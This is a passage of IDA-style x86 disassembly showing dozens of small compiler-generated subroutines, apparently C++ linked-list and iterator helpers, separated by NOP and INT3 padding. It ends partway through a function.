; =============== S U B R O U T I N E =======================================
sub_4143B0 proc near ; CODE XREF: sub_4017E9j
push esi
mov esi, ecx
mov eax, [esi]
push eax
call sub_40121C
mov ecx, [eax]
add esp, 4
mov [esi], ecx
mov eax, esi
pop esi
retn
sub_4143B0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4143E0 proc near ; CODE XREF: sub_4019F6j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_401D70
neg al
sbb eax, eax
inc eax
retn 4
sub_4143E0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_414410 proc near ; CODE XREF: sub_40178Aj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push 0
mov cl, [eax]
push 0
mov [esi], cl
mov ecx, esi
call sub_401C76
mov [esi+4], eax
mov dword ptr [esi+8], 0
mov eax, esi
pop esi
retn 4
sub_414410 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_414450 proc near ; CODE XREF: sub_40145Bj
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
sub esp, 0Ch
lea eax, [esp+0Ch+var_C]
push esi
mov esi, ecx
push eax
call sub_40112C
mov ecx, [eax]
lea edx, [esp+10h+var_8]
push ecx
push edx
mov ecx, esi
call sub_40181B
mov eax, [eax]
lea ecx, [esp+14h+var_4]
push eax
push ecx
mov ecx, esi
call sub_4013AC
mov edx, [esi+4]
mov ecx, esi
push edx
call sub_401DBB
xor eax, eax
mov [esi+4], eax
mov [esi+8], eax
pop esi
add esp, 0Ch
retn
sub_414450 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4144C0 proc near ; CODE XREF: sub_40181Bj
arg_0 = dword ptr 4
mov eax, [ecx+4]
push esi
push eax
call sub_401ABE
mov ecx, [eax]
mov esi, [esp+8+arg_0]
add esp, 4
push ecx
mov ecx, esi
call sub_401C3F
mov eax, esi
pop esi
retn 4
sub_4144C0 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_414500 proc near ; CODE XREF: sub_40112Cj
arg_0 = dword ptr 4
mov eax, [ecx+4]
push esi
mov esi, [esp+4+arg_0]
push eax
mov ecx, esi
call sub_401C3F
mov eax, esi
pop esi
retn 4
sub_414500 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_414530 proc near ; CODE XREF: sub_4013B1j
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [esp+4+arg_0]
push esi
mov esi, ecx
push eax
lea ecx, [esp+0Ch+arg_0]
push ecx
mov ecx, esi
call sub_40112C
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_401BDB
pop esi
pop ecx
retn 4
sub_414530 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_414570 proc near ; CODE XREF: sub_401B45j
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
sub esp, 0Ch
lea eax, [esp+0Ch+var_C]
push esi
mov esi, ecx
push eax
call sub_40112C
mov ecx, [eax]
lea edx, [esp+10h+var_8]
push ecx
push edx
mov ecx, esi
call sub_40181B
mov eax, [eax]
lea ecx, [esp+14h+var_4]
push eax
push ecx
mov ecx, esi
call sub_4013AC
pop esi
add esp, 0Ch
retn
sub_414570 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4145C0 proc near ; CODE XREF: sub_401FA5j
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
sub esp, 0Ch
lea eax, [esp+0Ch+var_8]
push esi
mov esi, ecx
push eax
call sub_40112C
lea ecx, [esp+10h+var_C]
push ecx
mov ecx, esi
call sub_40181B
lea edx, [esp+10h+var_8]
lea ecx, [esp+10h+var_C]
push edx
call sub_4012F8
test al, al
jz short loc_414641
push edi
mov edi, [esp+14h+arg_0]
loc_4145F3: ; CODE XREF: sub_4145C0+7Ej
lea ecx, [esp+14h+var_C]
call sub_401311
mov eax, [eax]
mov ecx, [edi]
cmp eax, ecx
jnz short loc_414625
lea ecx, [esp+14h+arg_0]
push 0
push ecx
lea ecx, [esp+1Ch+var_C]
call sub_401D6B
mov edx, [eax]
lea eax, [esp+14h+var_4]
push edx
push eax
mov ecx, esi
call sub_401073
jmp short loc_41462E
; ---------------------------------------------------------------------------
loc_414625: ; CODE XREF: sub_4145C0+42j
lea ecx, [esp+14h+var_C]
call sub_401168
loc_41462E: ; CODE XREF: sub_4145C0+63j
lea ecx, [esp+14h+var_8]
push ecx
lea ecx, [esp+18h+var_C]
call sub_4012F8
test al, al
jnz short loc_4145F3
pop edi
loc_414641: ; CODE XREF: sub_4145C0+2Cj
pop esi
add esp, 0Ch
retn 4
sub_4145C0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_414680 proc near ; CODE XREF: sub_4020B3j
push esi
mov esi, ecx
call sub_401CF3
mov eax, esi
pop esi
retn
sub_414680 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4146A0 proc near ; CODE XREF: sub_401311j
mov eax, [ecx]
push eax
call sub_40171C
add esp, 4
retn
sub_4146A0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4146C0 proc near ; CODE XREF: sub_401168j
push esi
mov esi, ecx
mov eax, [esi]
push eax
call sub_401ABE
mov ecx, [eax]
add esp, 4
mov [esi], ecx
mov eax, esi
pop esi
retn
sub_4146C0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4146F0 proc near ; CODE XREF: sub_4012F8j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_4013F7
neg al
sbb eax, eax
inc eax
retn 4
sub_4146F0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_414720 proc near ; CODE XREF: sub_40111Dj
arg_0 = dword ptr 4
mov eax, [ecx+4]
push esi
push eax
call sub_401F14
mov ecx, [eax]
mov esi, [esp+8+arg_0]
add esp, 4
push ecx
mov ecx, esi
call sub_4016AE
mov eax, esi
pop esi
retn 4
sub_414720 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_414760 proc near ; CODE XREF: sub_40163Bj
arg_0 = dword ptr 4
mov eax, [ecx+4]
push esi
mov esi, [esp+4+arg_0]
push eax
mov ecx, esi
call sub_4016AE
mov eax, esi
pop esi
retn 4
sub_414760 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_414790 proc near ; CODE XREF: sub_401FD2j
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
mov esi, ecx
push edi
lea ecx, [esp+0Ch+arg_4]
call sub_401B31
mov edi, eax
push edi
call sub_4010EB
mov eax, [eax]
add esp, 4
mov ecx, esi
push eax
push edi
call sub_401D7F
push edi
mov ebx, eax
call sub_4010EB
push edi
mov [eax], ebx
call sub_4010EB
mov edi, [eax]
push edi
call sub_4010EB
mov ecx, [eax]
push ecx
call sub_401F14
mov edx, [esp+1Ch+arg_8]
add esp, 10h
mov [eax], edi
push edx
push edi
call sub_401DC0
add esp, 4
mov ecx, esi
push eax
call sub_402009
mov ecx, [esi+8]
push edi
inc ecx
mov [esi+8], ecx
mov esi, [esp+10h+arg_0]
mov ecx, esi
call sub_401C7B
mov eax, esi
pop edi
pop esi
pop ebx
retn 0Ch
sub_414790 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_414830 proc near ; CODE XREF: sub_401690j
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = byte ptr 0Ch
push esi
mov esi, ecx
lea eax, [esp+4+arg_8]
lea ecx, [esp+4+arg_4]
push eax
call sub_401B86
test al, al
jz short loc_41487D
push edi
mov edi, [esp+8+arg_0]
loc_41484A: ; CODE XREF: sub_414830+4Aj
lea ecx, [esp+8+arg_4]
call sub_40196A
push eax
lea ecx, [esp+0Ch+arg_0]
push edi
push ecx
mov ecx, esi
call sub_401FD2
lea ecx, [esp+8+arg_4]
call sub_401F6E
lea edx, [esp+8+arg_8]
lea ecx, [esp+8+arg_4]
push edx
call sub_401B86
test al, al
jnz short loc_41484A
pop edi
loc_41487D: ; CODE XREF: sub_414830+13j
pop esi
retn 0Ch
sub_414830 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4148B0 proc near ; CODE XREF: sub_401E56j
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ecx
push ebx
push esi
push edi
mov edi, ecx
lea eax, [esp+10h+var_4]
push 0
push eax
lea ecx, [esp+18h+arg_4]
call sub_401505
mov ecx, eax
call sub_401B31
mov esi, eax
push esi
call sub_401F14
push esi
mov ebx, eax
call sub_4010EB
mov ecx, [eax]
push ecx
call sub_401F14
mov edx, [ebx]
push esi
mov [eax], edx
call sub_4010EB
push esi
mov ebx, eax
call sub_401F14
mov eax, [eax]
push eax
call sub_4010EB
mov ecx, [ebx]
push esi
mov [eax], ecx
call sub_401DC0
add esp, 1Ch
mov ecx, edi
push eax
call sub_401492
push esi
mov ecx, edi
call sub_401BB3
mov eax, [edi+8]
mov edx, [esp+10h+arg_4]
dec eax
mov [edi+8], eax
mov eax, [esp+10h+arg_0]
pop edi
pop esi
mov [eax], edx
pop ebx
pop ecx
retn 8
sub_4148B0 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_414970 proc near ; CODE XREF: sub_401410j
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
sub esp, 8
lea eax, [esp+8+arg_8]
push esi
mov esi, ecx
push eax
lea ecx, [esp+10h+arg_4]
call sub_401C35
test al, al
jz short loc_4149CA
loc_414988: ; CODE XREF: sub_414970+47j
lea ecx, [esp+0Ch+var_8]
push 0
push ecx
lea ecx, [esp+14h+arg_4]
call sub_401505
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_401E56
lea ecx, [esp+0Ch+arg_8]
push ecx
lea ecx, [esp+10h+arg_4]
call sub_401C35
test al, al
jnz short loc_414988
mov eax, [esp+0Ch+arg_0]
mov edx, [esp+0Ch+arg_4]
pop esi
mov [eax], edx
add esp, 8
retn 0Ch
; ---------------------------------------------------------------------------
loc_4149CA: ; CODE XREF: sub_414970+16j
mov eax, [esp+0Ch+arg_0]
mov ecx, [esp+0Ch+arg_4]
pop esi
mov [eax], ecx
add esp, 8
retn 0Ch
sub_414970 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_414A00 proc near ; CODE XREF: sub_401D7Fj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
push 0Ch
call sub_401F55
mov edi, [esp+8+arg_0]
mov esi, eax
test edi, edi
jnz short loc_414A15
mov edi, esi
loc_414A15: ; CODE XREF: sub_414A00+11j
push esi
call sub_401F14
mov [eax], edi
mov edi, [esp+0Ch+arg_4]
add esp, 4
test edi, edi
jnz short loc_414A2A
mov edi, esi
loc_414A2A: ; CODE XREF: sub_414A00+26j
push esi
call sub_4010EB
add esp, 4
mov [eax], edi
mov eax, esi
pop edi
pop esi
retn 8
sub_414A00 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_414A50 proc near ; CODE XREF: sub_401BB3j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 1
push eax
call sub_401CD0
retn 4
sub_414A50 endp
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_414A70 proc near ; CODE XREF: sub_401F14j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
retn
sub_414A70 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_414A90 proc near ; CODE XREF: sub_401DC0j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 8
retn
sub_414A90 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_414AB0 proc near ; CODE XREF: sub_401D7Aj
mov eax, ecx
retn
sub_414AB0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_414AD0 proc near ; CODE XREF: sub_401C7Bj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push eax
call sub_4016AE
mov eax, esi
pop esi
retn 4
sub_414AD0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_414B00 proc near ; CODE XREF: sub_401505j
arg_0 = dword ptr 4
push esi
mov esi, [ecx]
call sub_401F2D
mov eax, [esp+4+arg_0]
mov [eax], esi
pop esi
retn 8
sub_414B00 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_414B30 proc near ; CODE XREF: sub_40155Aj
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov eax, [ecx]
push esi
xor ecx, ecx
mov esi, [edx]
cmp eax, esi
pop esi
setz cl
mov al, cl
retn 4
sub_414B30 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_414B60 proc near ; CODE XREF: sub_4019B5j
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
mov esi, ecx
push edi
lea ecx, [esp+0Ch+arg_4]
call sub_401E24
mov edi, eax
push edi
call sub_401140
mov eax, [eax]
add esp, 4
mov ecx, esi
push eax
push edi
call sub_401B5E
push edi
mov ebx, eax
call sub_401140
push edi
mov [eax], ebx
call sub_401140
mov edi, [eax]
push edi
call sub_401140
mov ecx, [eax]
push ecx
call sub_40121C
mov edx, [esp+1Ch+arg_8]
add esp, 10h
mov [eax], edi
push edx
push edi
call sub_401F9B
add esp, 4
mov ecx, esi
push eax
call sub_401573
mov ecx, [esi+8]
push edi
inc ecx
mov [esi+8], ecx
mov esi, [esp+10h+arg_0]
mov ecx, esi
call sub_401BA4
mov eax, esi
pop edi
pop esi
pop ebx
retn 0Ch
sub_414B60 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_414C00 proc near ; CODE XREF: sub_401721j
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ecx
push ebx
push esi
push edi
mov edi, ecx
lea eax, [esp+10h+var_4]
push 0
push eax
lea ecx, [esp+18h+arg_4]
call sub_4010C8
mov ecx, eax
call sub_401E24
mov esi, eax
push esi
call sub_40121C
push esi
mov ebx, eax
call sub_401140
mov ecx, [eax]
push ecx
call sub_40121C
mov edx, [ebx]
push esi
mov [eax], edx
call sub_401140
push esi
mov ebx, eax
call sub_40121C
mov eax, [eax]
push eax
call sub_401140
mov ecx, [ebx]
push esi
mov [eax], ecx
call sub_401F9B
add esp, 1Ch
mov ecx, edi
push eax
call sub_401C26
push esi
mov ecx, edi
call sub_401CE4
mov eax, [edi+8]
mov edx, [esp+10h+arg_4]
dec eax
mov [edi+8], eax
mov eax, [esp+10h+arg_0]
pop edi
pop esi
mov [eax], edx
pop ebx
pop ecx
retn 8
sub_414C00 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_414CC0 proc near ; CODE XREF: sub_4012EEj
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
sub esp, 8
lea eax, [esp+8+arg_8]
push esi
mov esi, ecx
push eax
lea ecx, [esp+10h+arg_4]
call sub_4019F6
test al, al
jz short loc_414D1A
loc_414CD8: ; CODE XREF: sub_414CC0+47j
lea ecx, [esp+0Ch+var_8]
push 0
push ecx
lea ecx, [esp+14h+arg_4]
call sub_4010C8
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_401721
lea ecx, [esp+0Ch+arg_8]
push ecx
lea ecx, [esp+10h+arg_4]
call sub_4019F6
test al, al
jnz short loc_414CD8
mov eax, [esp+0Ch+arg_0]
mov edx, [esp+0Ch+arg_4]
pop esi
mov [eax], edx
add esp, 8
retn 0Ch
; ---------------------------------------------------------------------------
loc_414D1A: ; CODE XREF: sub_414CC0+16j
mov eax, [esp+0Ch+arg_0]
mov ecx, [esp+0Ch+arg_4]
pop esi
mov [eax], ecx
add esp, 8
retn 0Ch
sub_414CC0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_414D50 proc near ; CODE XREF: sub_401B5Ej
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
push 0Ch
call sub_401537
mov edi, [esp+8+arg_0]
mov esi, eax
test edi, edi
jnz short loc_414D65
mov edi, esi
loc_414D65: ; CODE XREF: sub_414D50+11j
push esi
call sub_40121C
mov [eax], edi
mov edi, [esp+0Ch+arg_4]
add esp, 4
test edi, edi
jnz short loc_414D7A
mov edi, esi
loc_414D7A: ; CODE XREF: sub_414D50+26j
push esi
call sub_401140
add esp, 4
mov [eax], edi
mov eax, esi
pop edi
pop esi
retn 8
sub_414D50 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_414DA0 proc near ; CODE XREF: sub_401CE4j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 1
push eax
call sub_4010C3
retn 4
sub_414DA0 endp
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_414DC0 proc near ; CODE XREF: sub_40121Cj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
retn
sub_414DC0 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_414DE0 proc near ; CODE XREF: sub_401F9Bj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 8
retn
sub_414DE0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_414E00 proc near ; CODE XREF: sub_401D3Ej
mov eax, ecx
retn
sub_414E00 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_414E20 proc near ; CODE XREF: sub_401BA4j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push eax
call sub_40130C
mov eax, esi
pop esi
retn 4
sub_414E20 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_414E50 proc near ; CODE XREF: sub_4010C8j
arg_0 = dword ptr 4
push esi
mov esi, [ecx]
call sub_4017E9
mov eax, [esp+4+arg_0]
mov [eax], esi
pop esi
retn 8
sub_414E50 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_414E80 proc near ; CODE XREF: sub_401D70j
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov eax, [ecx]
push esi
xor ecx, ecx
mov esi, [edx]
cmp eax, esi
pop esi
setz cl
mov al, cl
retn 4
sub_414E80 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_414EB0 proc near ; CODE XREF: sub_401BDBj
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
mov esi, ecx
push edi
lea ecx, [esp+0Ch+arg_4]
call sub_401294
mov edi, eax
push edi
call sub_401717
mov eax, [eax]
add esp, 4
mov ecx, esi
push eax
push edi
call sub_401C76
push edi
mov ebx, eax
call sub_401717
push edi
mov [eax], ebx
call sub_401717
mov edi, [eax]
push edi
call sub_401717
mov ecx, [eax]
push ecx
call sub_401ABE
mov edx, [esp+1Ch+arg_8]
add esp, 10h
mov [eax], edi
push edx
push edi
call sub_40171C
add esp, 4
mov ecx, esi
push eax
call sub_401CCB
mov ecx, [esi+8]
push edi
inc ecx
mov [esi+8], ecx
mov esi, [esp+10h+arg_0]
mov ecx, esi
call sub_401C3F
mov eax, esi
pop edi
pop esi
pop ebx
retn 0Ch
sub_414EB0 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_414F50 proc near ; CODE XREF: sub_401073j
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ecx
push ebx
push esi
push edi
mov edi, ecx
lea eax, [esp+10h+var_4]
push 0
push eax
lea ecx, [esp+18h+arg_4]
call sub_401D6B
mov ecx, eax
call sub_401294
mov esi, eax
push esi
call sub_401ABE
push esi
mov ebx, eax
call sub_401717
mov ecx, [eax]
push ecx
call sub_401ABE
mov edx, [ebx]
push esi
mov [eax], edx
call sub_401717
push esi
mov ebx, eax
call sub_401ABE
mov eax, [eax]
push eax
call sub_401717
mov ecx, [ebx]
push esi
mov [eax], ecx
call sub_40171C
add esp, 1Ch
mov ecx, edi
push eax
call sub_4013A2
push esi
mov ecx, edi
call sub_401DBB
mov eax, [edi+8]
mov edx, [esp+10h+arg_4]
dec eax
mov [edi+8], eax
mov eax, [esp+10h+arg_0]
pop edi
pop esi
mov [eax], edx
pop ebx
pop ecx
retn 8
sub_414F50 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415010 proc near ; CODE XREF: sub_4013ACj
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
sub esp, 8
lea eax, [esp+8+arg_8]
push esi
mov esi, ecx
push eax
lea ecx, [esp+10h+arg_4]
call sub_4012F8
test al, al
jz short loc_41506A
loc_415028: ; CODE XREF: sub_415010+47j
lea ecx, [esp+0Ch+var_8]
push 0
push ecx
lea ecx, [esp+14h+arg_4]
call sub_401D6B
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_401073
lea ecx, [esp+0Ch+arg_8]
push ecx
lea ecx, [esp+10h+arg_4]
call sub_4012F8
test al, al
jnz short loc_415028
mov eax, [esp+0Ch+arg_0]
mov edx, [esp+0Ch+arg_4]
pop esi
mov [eax], edx
add esp, 8
retn 0Ch
; ---------------------------------------------------------------------------
loc_41506A: ; CODE XREF: sub_415010+16j
mov eax, [esp+0Ch+arg_0]
mov ecx, [esp+0Ch+arg_4]
pop esi
mov [eax], ecx
add esp, 8
retn 0Ch
sub_415010 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4150A0 proc near ; CODE XREF: sub_401C76j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
push 0Ch
call sub_401D66
mov edi, [esp+8+arg_0]
mov esi, eax
test edi, edi
jnz short loc_4150B5
mov edi, esi
loc_4150B5: ; CODE XREF: sub_4150A0+11j
push esi
call sub_401ABE
mov [eax], edi
mov edi, [esp+0Ch+arg_4]
add esp, 4
test edi, edi
jnz short loc_4150CA
mov edi, esi
loc_4150CA: ; CODE XREF: sub_4150A0+26j
push esi
call sub_401717
add esp, 4
mov [eax], edi
mov eax, esi
pop edi
pop esi
retn 8
sub_4150A0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4150F0 proc near ; CODE XREF: sub_401DBBj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 1
push eax
call sub_40179E
retn 4
sub_4150F0 endp
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415110 proc near ; CODE XREF: sub_401ABEj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
retn
sub_415110 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415130 proc near ; CODE XREF: sub_40171Cj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 8
retn
sub_415130 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415150 proc near ; CODE XREF: sub_401CF3j
mov eax, ecx
retn
sub_415150 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415170 proc near ; CODE XREF: sub_401C3Fj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push eax
call sub_401591
mov eax, esi
pop esi
retn 4
sub_415170 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4151A0 proc near ; CODE XREF: sub_401D6Bj
arg_0 = dword ptr 4
push esi
mov esi, [ecx]
call sub_401168
mov eax, [esp+4+arg_0]
mov [eax], esi
pop esi
retn 8
sub_4151A0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4151D0 proc near ; CODE XREF: sub_4013F7j
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov eax, [ecx]
push esi
xor ecx, ecx
mov esi, [edx]
cmp eax, esi
pop esi
setz cl
mov al, cl
retn 4
sub_4151D0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415200 proc near ; CODE XREF: sub_4010EBj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 4
retn
sub_415200 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415220 proc near ; CODE XREF: sub_401F55j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_401BF4
add esp, 8
retn 4
sub_415220 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415250 proc near ; CODE XREF: sub_401CD0j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_430332
pop ecx
retn 8
sub_415250 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415270 proc near ; CODE XREF: sub_402009j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push eax
push ecx
call sub_401230
add esp, 8
retn 8
sub_415270 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4152A0 proc near ; CODE XREF: sub_401492j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call j_nullsub_7
pop ecx
retn 4
sub_4152A0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4152C0 proc near ; CODE XREF: sub_4016AEj
arg_0 = dword ptr 4
mov eax, ecx
mov ecx, [esp+arg_0]
mov [eax], ecx
retn 4
sub_4152C0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4152E0 proc near ; CODE XREF: sub_40196Aj
mov eax, [ecx]
push eax
call sub_401DC0
add esp, 4
retn
sub_4152E0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415300 proc near ; CODE XREF: sub_401F6Ej
push esi
mov esi, ecx
mov eax, [esi]
push eax
call sub_401F14
mov ecx, [eax]
add esp, 4
mov [esi], ecx
mov eax, esi
pop esi
retn
sub_415300 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415330 proc near ; CODE XREF: sub_401B86j
arg_0 = dword ptr 4
